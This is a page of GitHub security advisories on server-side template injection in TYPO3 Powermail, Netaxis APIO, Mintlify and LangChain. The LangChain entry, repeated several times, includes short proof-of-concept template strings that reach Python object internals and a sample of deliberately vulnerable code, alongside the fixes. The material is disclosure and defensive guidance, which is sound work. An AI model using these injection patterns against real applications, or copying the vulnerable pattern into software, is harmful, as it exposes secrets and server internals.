Vulnerability from github – Published: 2026-08-25 09:30 – Updated: 2026-08-25 09:30The extension passes the raw value of a form field configured as "This field contains the name of the sender" directly into a Fluid View as template source, without any sanitization, and renders it. An anonymous, unauthenticated user can submit Fluid template syntax in that field to execute arbitrary Fluid ViewHelpers leading to disclosure of server configuration, environment variables and application source, and potentially remote code execution. Exploitation requires only that a form field is configured as the sender_name field, a common and default-adjacent Powermail configuration. No authentication or user interaction beyond a normal form submission is required. This vulnerability is reported to be actively exploited in the wild.
{
"affected": [],
"aliases": [
"CVE-2026-77136"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T09:17:34Z",
"severity": "CRITICAL"
},
"details": "The extension passes the raw value of a form field configured as \"This field contains the name of the sender\" directly into a Fluid View as template source, without any sanitization, and renders it. An anonymous, unauthenticated user can submit Fluid template syntax in that field to execute arbitrary Fluid ViewHelpers leading to disclosure of server configuration, environment variables and application source, and potentially remote code execution. Exploitation requires only that a form field is configured as the sender_name field, a common and default-adjacent Powermail configuration. No authentication or user interaction beyond a normal form submission is required. This vulnerability is reported to be actively exploited in the wild.",
"id": "GHSA-6956-f2gq-2c74",
"modified": "2026-08-25T09:30:39Z",
"published": "2026-08-25T09:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77136"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-ext-sa-2026-022"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6965-RJH7-M8M8
Vulnerability from github – Published: 2025-12-17 15:34 – Updated: 2025-12-17 18:31Netaxis API Orchestrator (APIO) before 0.19.3 allows server side template injection (SSTI).
{
"affected": [],
"aliases": [
"CVE-2022-23851"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-17T15:15:48Z",
"severity": "CRITICAL"
},
"details": "Netaxis API Orchestrator (APIO) before 0.19.3 allows server side template injection (SSTI).",
"id": "GHSA-6965-rjh7-m8m8",
"modified": "2025-12-17T18:31:33Z",
"published": "2025-12-17T15:34:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23851"
},
{
"type": "WEB",
"url": "https://blog.tig00r.me/post/CVE-2022-23851"
},
{
"type": "WEB",
"url": "https://www.netaxis.be/products/apio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6P6P-X42G-J3HV
Vulnerability from github – Published: 2025-12-19 03:31 – Updated: 2025-12-19 03:31A Server-Side Template Injection (SSTI) vulnerability in the MDX Rendering Engine in Mintlify Platform before 2025-11-15 allows remote attackers to execute arbitrary code via inline JSX expressions in an MDX file.
{
"affected": [],
"aliases": [
"CVE-2025-67843"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-19T02:16:08Z",
"severity": "HIGH"
},
"details": "A Server-Side Template Injection (SSTI) vulnerability in the MDX Rendering Engine in Mintlify Platform before 2025-11-15 allows remote attackers to execute arbitrary code via inline JSX expressions in an MDX file.",
"id": "GHSA-6p6p-x42g-j3hv",
"modified": "2025-12-19T03:31:18Z",
"published": "2025-12-19T03:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67843"
},
{
"type": "WEB",
"url": "https://kibty.town/blog/mintlify"
},
{
"type": "WEB",
"url": "https://news.ycombinator.com/item?id=46317098"
},
{
"type": "WEB",
"url": "https://www.mintlify.com/blog/working-with-security-researchers-november-2025"
},
{
"type": "WEB",
"url": "https://www.mintlify.com/docs/changelog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6QV9-48XG-FC7F
Vulnerability from github – Published: 2025-11-20 17:42 – Updated: 2025-12-09 17:15Context
A template injection vulnerability exists in LangChain's prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept untrusted template strings (not just template variables) in ChatPromptTemplate and related prompt template classes.
Templates allow attribute access (.) and indexing ([]) but not method invocation (()).
The combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using MessagesPlaceholder with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., __globals__) to reach sensitive data such as environment variables.
The vulnerability specifically requires that applications accept template strings (the structure) from untrusted sources, not just template variables (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.
Affected Components
langchain-corepackage- Template formats:
- F-string templates (
template_format="f-string") - Vulnerability fixed - Mustache templates (
template_format="mustache") - Defensive hardening - Jinja2 templates (
template_format="jinja2") - Defensive hardening
Impact
Attackers who can control template strings (not just template variables) can:
- Access Python object attributes and internal properties via attribute traversal
- Extract sensitive information from object internals (e.g., __class__, __globals__)
- Potentially escalate to more severe attacks depending on the objects passed to templates
Attack Vectors
1. F-string Template Injection
Before Fix:
from langchain_core.prompts import ChatPromptTemplate
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{msg.__class__.__name__}")],
template_format="f-string"
)
# Note that this requires passing a placeholder variable for "msg.__class__.__name__".
result = malicious_template.invoke({"msg": "foo", "msg.__class__.__name__": "safe_placeholder"})
# Previously returned
# >>> result.messages[0].content
# >>> 'str'
2. Mustache Template Injection
Before Fix:
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
# Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.__class__.__name__}}")],
template_format="mustache"
)
result = malicious_template.invoke({"question": msg})
# Previously returned: "HumanMessage" (getattr() exposed internals)
3. Jinja2 Template Injection
Before Fix:
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
# Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.parse_raw}}")],
template_format="jinja2"
)
result = malicious_template.invoke({"question": msg})
# Could access non-dunder attributes/methods on objects
Root Cause
-
F-string templates: The implementation used Python's
string.Formatter().parse()to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax: ```python from string import Formattertemplate = "{msg.class} and {x}" print([var_name for (, var_name, , _) in Formatter().parse(template)]) # Returns: ['msg.class', 'x']
`` The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g.,{obj.class.name}or{obj.method.globals[os]}) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with(), they do support[]indexing, which could allow traversal through dictionaries likeglobalsto reach sensitive objects. 2. **Mustache templates**: By design, usedgetattr()as a fallback to support accessing attributes on objects (e.g.,{{user.name}}on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects 3. **Jinja2 templates**: Jinja2's defaultSandboxedEnvironmentblocks dunder attributes (e.g.,class`) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we've restricted the environment to block all attribute and method access on objects passed to templates.
Who Is Affected?
High Risk Scenarios
You are affected if your application: - Accepts template strings from untrusted sources (user input, external APIs, databases) - Dynamically constructs prompt templates based on user-provided patterns - Allows users to customize or create prompt templates
Example vulnerable code:
# User controls the template string itself
user_template_string = request.json.get("template") # DANGEROUS
prompt = ChatPromptTemplate.from_messages(
[("human", user_template_string)],
template_format="mustache"
)
result = prompt.invoke({"data": sensitive_object})
Low/No Risk Scenarios
You are NOT affected if: - Template strings are hardcoded in your application code - Template strings come only from trusted, controlled sources - Users can only provide values for template variables, not the template structure itself
Example safe code:
# Template is hardcoded - users only control variables
prompt = ChatPromptTemplate.from_messages(
[("human", "User question: {question}")], # SAFE
template_format="f-string"
)
# User input only fills the 'question' variable
result = prompt.invoke({"question": user_input})
The Fix
F-string Templates
F-string templates had a clear vulnerability where attribute access syntax was exploitable. We've added strict validation to prevent this:
- Added validation to enforce that variable names must be valid Python identifiers
- Rejects syntax like
{obj.attr},{obj[0]}, or{obj.__class__} - Only allows simple variable names:
{variable_name}
# After fix - these are rejected at template creation time
ChatPromptTemplate.from_messages(
[("human", "{msg.__class__}")], # ValueError: Invalid variable name
template_format="f-string"
)
Mustache Templates (Defensive Hardening)
As defensive hardening, we've restricted what Mustache templates support to reduce the attack surface:
- Replaced
getattr()fallback with strict type checking - Only allows traversal into
dict,list, andtupletypes - Blocks attribute access on arbitrary Python objects
# After hardening - attribute access returns empty string
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.__class__}}")],
template_format="mustache"
)
result = prompt.invoke({"msg": HumanMessage("test")})
# Returns: "" (access blocked)
Jinja2 Templates (Defensive Hardening)
As defensive hardening, we've significantly restricted Jinja2 template capabilities:
- Introduced
_RestrictedSandboxedEnvironmentthat blocks ALL attribute/method access - Only allows simple variable lookups from the context dictionary
- Raises
SecurityErroron any attribute access attempt
# After hardening - all attribute access is blocked
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.content}}")],
template_format="jinja2"
)
# Raises SecurityError: Access to attributes is not allowed
Important Recommendation: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, we recommend reserving Jinja2 templates for trusted sources only. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.
While we've hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.
Important Reminder: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you're building a chatbot or conversational application, you can often work directly with message objects (e.g., HumanMessage, AIMessage, ToolMessage) without templates. Direct message construction avoids template-related security concerns entirely.
Remediation
Immediate Actions
- Audit your code for any locations where template strings come from untrusted sources
- Update to the patched version of
langchain-core - Review template usage to ensure separation between template structure and user data
Best Practices
- Consider if you need templates at all - Many applications can work directly with message objects (
HumanMessage,AIMessage, etc.) without templates## Context
A template injection vulnerability exists in LangChain's prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept untrusted template strings (not just template variables) in ChatPromptTemplate and related prompt template classes.
Templates allow attribute access (.) and indexing ([]) but not method invocation (()).
The combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using MessagesPlaceholder with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., __globals__) to reach sensitive data such as environment variables.
The vulnerability specifically requires that applications accept template strings (the structure) from untrusted sources, not just template variables (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.
Affected Components
langchain-corepackage- Template formats:
- F-string templates (
template_format="f-string") - Vulnerability fixed - Mustache templates (
template_format="mustache") - Defensive hardening - Jinja2 templates (
template_format="jinja2") - Defensive hardening
Impact
Attackers who can control template strings (not just template variables) can:
- Access Python object attributes and internal properties via attribute traversal
- Extract sensitive information from object internals (e.g., __class__, __globals__)
- Potentially escalate to more severe attacks depending on the objects passed to templates
Attack Vectors
1. F-string Template Injection
Before Fix:
from langchain_core.prompts import ChatPromptTemplate
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{msg.__class__.__name__}")],
template_format="f-string"
)
# Note that this requires passing a placeholder variable for "msg.__class__.__name__".
result = malicious_template.invoke({"msg": "foo", "msg.__class__.__name__": "safe_placeholder"})
# Previously returned
# >>> result.messages[0].content
# >>> 'str'
2. Mustache Template Injection
Before Fix:
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
# Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.__class__.__name__}}")],
template_format="mustache"
)
result = malicious_template.invoke({"question": msg})
# Previously returned: "HumanMessage" (getattr() exposed internals)
3. Jinja2 Template Injection
Before Fix:
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
# Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.parse_raw}}")],
template_format="jinja2"
)
result = malicious_template.invoke({"question": msg})
# Could access non-dunder attributes/methods on objects
Root Cause
-
F-string templates: The implementation used Python's
string.Formatter().parse()to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax: ```python from string import Formattertemplate = "{msg.class} and {x}" print([var_name for (, var_name, , _) in Formatter().parse(template)]) # Returns: ['msg.class', 'x']
`` The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g.,{obj.class.name}or{obj.method.globals[os]}) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with(), they do support[]indexing, which could allow traversal through dictionaries likeglobalsto reach sensitive objects. 2. **Mustache templates**: By design, usedgetattr()as a fallback to support accessing attributes on objects (e.g.,{{user.name}}on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects 3. **Jinja2 templates**: Jinja2's defaultSandboxedEnvironmentblocks dunder attributes (e.g.,class`) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we've restricted the environment to block all attribute and method access on objects passed to templates.
Who Is Affected?
High Risk Scenarios
You are affected if your application: - Accepts template strings from untrusted sources (user input, external APIs, databases) - Dynamically constructs prompt templates based on user-provided patterns - Allows users to customize or create prompt templates
Example vulnerable code:
# User controls the template string itself
user_template_string = request.json.get("template") # DANGEROUS
prompt = ChatPromptTemplate.from_messages(
[("human", user_template_string)],
template_format="mustache"
)
result = prompt.invoke({"data": sensitive_object})
Low/No Risk Scenarios
You are NOT affected if: - Template strings are hardcoded in your application code - Template strings come only from trusted, controlled sources - Users can only provide values for template variables, not the template structure itself
Example safe code:
# Template is hardcoded - users only control variables
prompt = ChatPromptTemplate.from_messages(
[("human", "User question: {question}")], # SAFE
template_format="f-string"
)
# User input only fills the 'question' variable
result = prompt.invoke({"question": user_input})
The Fix
F-string Templates
F-string templates had a clear vulnerability where attribute access syntax was exploitable. We've added strict validation to prevent this:
- Added validation to enforce that variable names must be valid Python identifiers
- Rejects syntax like
{obj.attr},{obj[0]}, or{obj.__class__} - Only allows simple variable names:
{variable_name}
# After fix - these are rejected at template creation time
ChatPromptTemplate.from_messages(
[("human", "{msg.__class__}")], # ValueError: Invalid variable name
template_format="f-string"
)
Mustache Templates (Defensive Hardening)
As defensive hardening, we've restricted what Mustache templates support to reduce the attack surface:
- Replaced
getattr()fallback with strict type checking - Only allows traversal into
dict,list, andtupletypes - Blocks attribute access on arbitrary Python objects
# After hardening - attribute access returns empty string
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.__class__}}")],
template_format="mustache"
)
result = prompt.invoke({"msg": HumanMessage("test")})
# Returns: "" (access blocked)
Jinja2 Templates (Defensive Hardening)
As defensive hardening, we've significantly restricted Jinja2 template capabilities:
- Introduced
_RestrictedSandboxedEnvironmentthat blocks ALL attribute/method access - Only allows simple variable lookups from the context dictionary
- Raises
SecurityErroron any attribute access attempt
# After hardening - all attribute access is blocked
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.content}}")],
template_format="jinja2"
)
# Raises SecurityError: Access to attributes is not allowed
Important Recommendation: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, we recommend reserving Jinja2 templates for trusted sources only. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.
While we've hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.
Important Reminder: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you're building a chatbot or conversational application, you can often work directly with message objects (e.g., HumanMessage, AIMessage, ToolMessage) without templates. Direct message construction avoids template-related security concerns entirely.
Remediation
Immediate Actions
- Audit your code for any locations where template strings come from untrusted sources
- Update to the patched version of
langchain-core - Review template usage to ensure separation between template structure and user data
Best Practices
- Consider if you need templates at all - Many applications can work directly with message objects (
HumanMessage,AIMessage, etc.) without templates - Reserve Jinja2 for trusted sources - Only use Jinja2 templates when you fully control the template content
Update: Jinja2 Restrictions Reverted
The Jinja2 hardening introduced in the initial patch has been reverted as of langchain-core 1.1.3. The restriction was not addressing a direct vulnerability but was part of broader defensive hardening. In practice, it significantly limited legitimate Jinja2 usage and broke existing templates. Since Jinja2 is intended to be used only with trusted template sources, the original behavior has been restored. Users should continue to avoid accepting untrusted template strings when using Jinja2, but no security issue exists with trusted templates.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.6"
},
"package": {
"ecosystem": "PyPI",
"name": "langchain-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.79"
},
"package": {
"ecosystem": "PyPI",
"name": "langchain-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.80"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65106"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-20T17:42:12Z",
"nvd_published_at": "2025-11-21T22:16:32Z",
"severity": "HIGH"
},
"details": "## Context\n\nA template injection vulnerability exists in LangChain\u0027s prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept **untrusted template strings** (not just template variables) in `ChatPromptTemplate` and related prompt template classes.\n\nTemplates allow attribute access (`.`) and indexing (`[]`) but not method invocation (`()`).\n\nThe combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using `MessagesPlaceholder` with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., `__globals__`) to reach sensitive data such as environment variables.\n\nThe vulnerability specifically requires that applications accept **template strings** (the structure) from untrusted sources, not just **template variables** (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.\n\n## Affected Components\n\n- `langchain-core` package\n- Template formats:\n - F-string templates (`template_format=\"f-string\"`) - **Vulnerability fixed**\n - Mustache templates (`template_format=\"mustache\"`) - **Defensive hardening**\n - Jinja2 templates (`template_format=\"jinja2\"`) - **Defensive hardening**\n\n### Impact\nAttackers who can control template strings (not just template variables) can:\n- Access Python object attributes and internal properties via attribute traversal\n- Extract sensitive information from object internals (e.g., `__class__`, `__globals__`)\n- Potentially escalate to more severe attacks depending on the objects passed to templates\n\n### Attack Vectors\n\n#### 1. F-string Template Injection\n**Before Fix:**\n```python\nfrom langchain_core.prompts import ChatPromptTemplate\n\nmalicious_template = ChatPromptTemplate.from_messages(\n [(\"human\", \"{msg.__class__.__name__}\")],\n template_format=\"f-string\"\n)\n\n# Note that this requires passing a placeholder variable for \"msg.__class__.__name__\".\nresult = malicious_template.invoke({\"msg\": \"foo\", \"msg.__class__.__name__\": \"safe_placeholder\"})\n# Previously returned\n# \u003e\u003e\u003e result.messages[0].content\n# \u003e\u003e\u003e \u0027str\u0027\n```\n\n#### 2. Mustache Template Injection\n**Before Fix:**\n```python\nfrom langchain_core.prompts import ChatPromptTemplate\nfrom langchain_core.messages import HumanMessage\n\nmsg = HumanMessage(\"Hello\")\n\n# Attacker controls the template string\nmalicious_template = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{question.__class__.__name__}}\")],\n template_format=\"mustache\"\n)\n\nresult = malicious_template.invoke({\"question\": msg})\n# Previously returned: \"HumanMessage\" (getattr() exposed internals)\n```\n\n#### 3. Jinja2 Template Injection\n**Before Fix:**\n```python\nfrom langchain_core.prompts import ChatPromptTemplate\nfrom langchain_core.messages import HumanMessage\n\nmsg = HumanMessage(\"Hello\")\n\n# Attacker controls the template string\nmalicious_template = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{question.parse_raw}}\")],\n template_format=\"jinja2\"\n)\n\nresult = malicious_template.invoke({\"question\": msg})\n# Could access non-dunder attributes/methods on objects\n```\n\n### Root Cause\n\n1. **F-string templates**: The implementation used Python\u0027s `string.Formatter().parse()` to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax:\n ```python\n from string import Formatter\n\n template = \"{msg.__class__} and {x}\"\n print([var_name for (_, var_name, _, _) in Formatter().parse(template)])\n # Returns: [\u0027msg.__class__\u0027, \u0027x\u0027]\n ```\n The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g., `{obj.__class__.__name__}` or `{obj.method.__globals__[os]}`) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with `()`, they do support `[]` indexing, which could allow traversal through dictionaries like `__globals__` to reach sensitive objects.\n2. **Mustache templates**: By design, used `getattr()` as a fallback to support accessing attributes on objects (e.g., `{{user.name}}` on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects\n3. **Jinja2 templates**: Jinja2\u0027s default `SandboxedEnvironment` blocks dunder attributes (e.g., `__class__`) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we\u0027ve restricted the environment to block all attribute and method access on objects\n passed to templates.\n\n\n## Who Is Affected?\n\n### High Risk Scenarios\nYou are affected if your application:\n- Accepts template strings from untrusted sources (user input, external APIs, databases)\n- Dynamically constructs prompt templates based on user-provided patterns\n- Allows users to customize or create prompt templates\n\n**Example vulnerable code:**\n```python\n# User controls the template string itself\nuser_template_string = request.json.get(\"template\") # DANGEROUS\n\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", user_template_string)],\n template_format=\"mustache\"\n)\n\nresult = prompt.invoke({\"data\": sensitive_object})\n```\n\n### Low/No Risk Scenarios\nYou are **NOT** affected if:\n- Template strings are hardcoded in your application code\n- Template strings come only from trusted, controlled sources\n- Users can only provide **values** for template variables, not the template structure itself\n\n**Example safe code:**\n```python\n# Template is hardcoded - users only control variables\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", \"User question: {question}\")], # SAFE\n template_format=\"f-string\"\n)\n\n# User input only fills the \u0027question\u0027 variable\nresult = prompt.invoke({\"question\": user_input})\n```\n\n## The Fix\n\n### F-string Templates\nF-string templates had a clear vulnerability where attribute access syntax was exploitable. We\u0027ve added strict validation to prevent this:\n\n- Added validation to enforce that variable names must be valid Python identifiers\n- Rejects syntax like `{obj.attr}`, `{obj[0]}`, or `{obj.__class__}`\n- Only allows simple variable names: `{variable_name}`\n\n```python\n# After fix - these are rejected at template creation time\nChatPromptTemplate.from_messages(\n [(\"human\", \"{msg.__class__}\")], # ValueError: Invalid variable name\n template_format=\"f-string\"\n)\n```\n\n### Mustache Templates (Defensive Hardening)\nAs defensive hardening, we\u0027ve restricted what Mustache templates support to reduce the attack surface:\n\n- Replaced `getattr()` fallback with strict type checking\n- Only allows traversal into `dict`, `list`, and `tuple` types\n- Blocks attribute access on arbitrary Python objects\n\n```python\n# After hardening - attribute access returns empty string\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{msg.__class__}}\")],\n template_format=\"mustache\"\n)\nresult = prompt.invoke({\"msg\": HumanMessage(\"test\")})\n# Returns: \"\" (access blocked)\n```\n\n### Jinja2 Templates (Defensive Hardening)\nAs defensive hardening, we\u0027ve significantly restricted Jinja2 template capabilities:\n\n- Introduced `_RestrictedSandboxedEnvironment` that blocks **ALL** attribute/method access\n- Only allows simple variable lookups from the context dictionary\n- Raises `SecurityError` on any attribute access attempt\n\n```python\n# After hardening - all attribute access is blocked\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{msg.content}}\")],\n template_format=\"jinja2\"\n)\n# Raises SecurityError: Access to attributes is not allowed\n```\n\n**Important Recommendation**: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, **we recommend reserving Jinja2 templates for trusted sources only**. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.\n\nWhile we\u0027ve hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.\n\n**Important Reminder**: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you\u0027re building a chatbot or conversational application, you can often work directly with message objects (e.g., `HumanMessage`, `AIMessage`, `ToolMessage`) without templates. Direct message construction avoids template-related security concerns entirely.\n\n## Remediation\n\n### Immediate Actions\n\n1. **Audit your code** for any locations where template strings come from untrusted sources\n2. **Update to the patched version** of `langchain-core`\n3. **Review template usage** to ensure separation between template structure and user data\n\n### Best Practices\n\n- **Consider if you need templates at all** - Many applications can work directly with message objects (`HumanMessage`, `AIMessage`, etc.) without templates## Context\n\nA template injection vulnerability exists in LangChain\u0027s prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept **untrusted template strings** (not just template variables) in `ChatPromptTemplate` and related prompt template classes.\n\nTemplates allow attribute access (`.`) and indexing (`[]`) but not method invocation (`()`).\n\nThe combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using `MessagesPlaceholder` with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., `__globals__`) to reach sensitive data such as environment variables.\n\nThe vulnerability specifically requires that applications accept **template strings** (the structure) from untrusted sources, not just **template variables** (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.\n\n## Affected Components\n\n- `langchain-core` package\n- Template formats:\n - F-string templates (`template_format=\"f-string\"`) - **Vulnerability fixed**\n - Mustache templates (`template_format=\"mustache\"`) - **Defensive hardening**\n - Jinja2 templates (`template_format=\"jinja2\"`) - **Defensive hardening**\n\n### Impact\nAttackers who can control template strings (not just template variables) can:\n- Access Python object attributes and internal properties via attribute traversal\n- Extract sensitive information from object internals (e.g., `__class__`, `__globals__`)\n- Potentially escalate to more severe attacks depending on the objects passed to templates\n\n### Attack Vectors\n\n#### 1. F-string Template Injection\n**Before Fix:**\n```python\nfrom langchain_core.prompts import ChatPromptTemplate\n\nmalicious_template = ChatPromptTemplate.from_messages(\n [(\"human\", \"{msg.__class__.__name__}\")],\n template_format=\"f-string\"\n)\n\n# Note that this requires passing a placeholder variable for \"msg.__class__.__name__\".\nresult = malicious_template.invoke({\"msg\": \"foo\", \"msg.__class__.__name__\": \"safe_placeholder\"})\n# Previously returned\n# \u003e\u003e\u003e result.messages[0].content\n# \u003e\u003e\u003e \u0027str\u0027\n```\n\n#### 2. Mustache Template Injection\n**Before Fix:**\n```python\nfrom langchain_core.prompts import ChatPromptTemplate\nfrom langchain_core.messages import HumanMessage\n\nmsg = HumanMessage(\"Hello\")\n\n# Attacker controls the template string\nmalicious_template = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{question.__class__.__name__}}\")],\n template_format=\"mustache\"\n)\n\nresult = malicious_template.invoke({\"question\": msg})\n# Previously returned: \"HumanMessage\" (getattr() exposed internals)\n```\n\n#### 3. Jinja2 Template Injection\n**Before Fix:**\n```python\nfrom langchain_core.prompts import ChatPromptTemplate\nfrom langchain_core.messages import HumanMessage\n\nmsg = HumanMessage(\"Hello\")\n\n# Attacker controls the template string\nmalicious_template = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{question.parse_raw}}\")],\n template_format=\"jinja2\"\n)\n\nresult = malicious_template.invoke({\"question\": msg})\n# Could access non-dunder attributes/methods on objects\n```\n\n### Root Cause\n\n1. **F-string templates**: The implementation used Python\u0027s `string.Formatter().parse()` to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax:\n ```python\n from string import Formatter\n\n template = \"{msg.__class__} and {x}\"\n print([var_name for (_, var_name, _, _) in Formatter().parse(template)])\n # Returns: [\u0027msg.__class__\u0027, \u0027x\u0027]\n ```\n The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g., `{obj.__class__.__name__}` or `{obj.method.__globals__[os]}`) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with `()`, they do support `[]` indexing, which could allow traversal through dictionaries like `__globals__` to reach sensitive objects.\n2. **Mustache templates**: By design, used `getattr()` as a fallback to support accessing attributes on objects (e.g., `{{user.name}}` on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects\n3. **Jinja2 templates**: Jinja2\u0027s default `SandboxedEnvironment` blocks dunder attributes (e.g., `__class__`) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we\u0027ve restricted the environment to block all attribute and method access on objects\n passed to templates.\n\n\n## Who Is Affected?\n\n### High Risk Scenarios\nYou are affected if your application:\n- Accepts template strings from untrusted sources (user input, external APIs, databases)\n- Dynamically constructs prompt templates based on user-provided patterns\n- Allows users to customize or create prompt templates\n\n**Example vulnerable code:**\n```python\n# User controls the template string itself\nuser_template_string = request.json.get(\"template\") # DANGEROUS\n\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", user_template_string)],\n 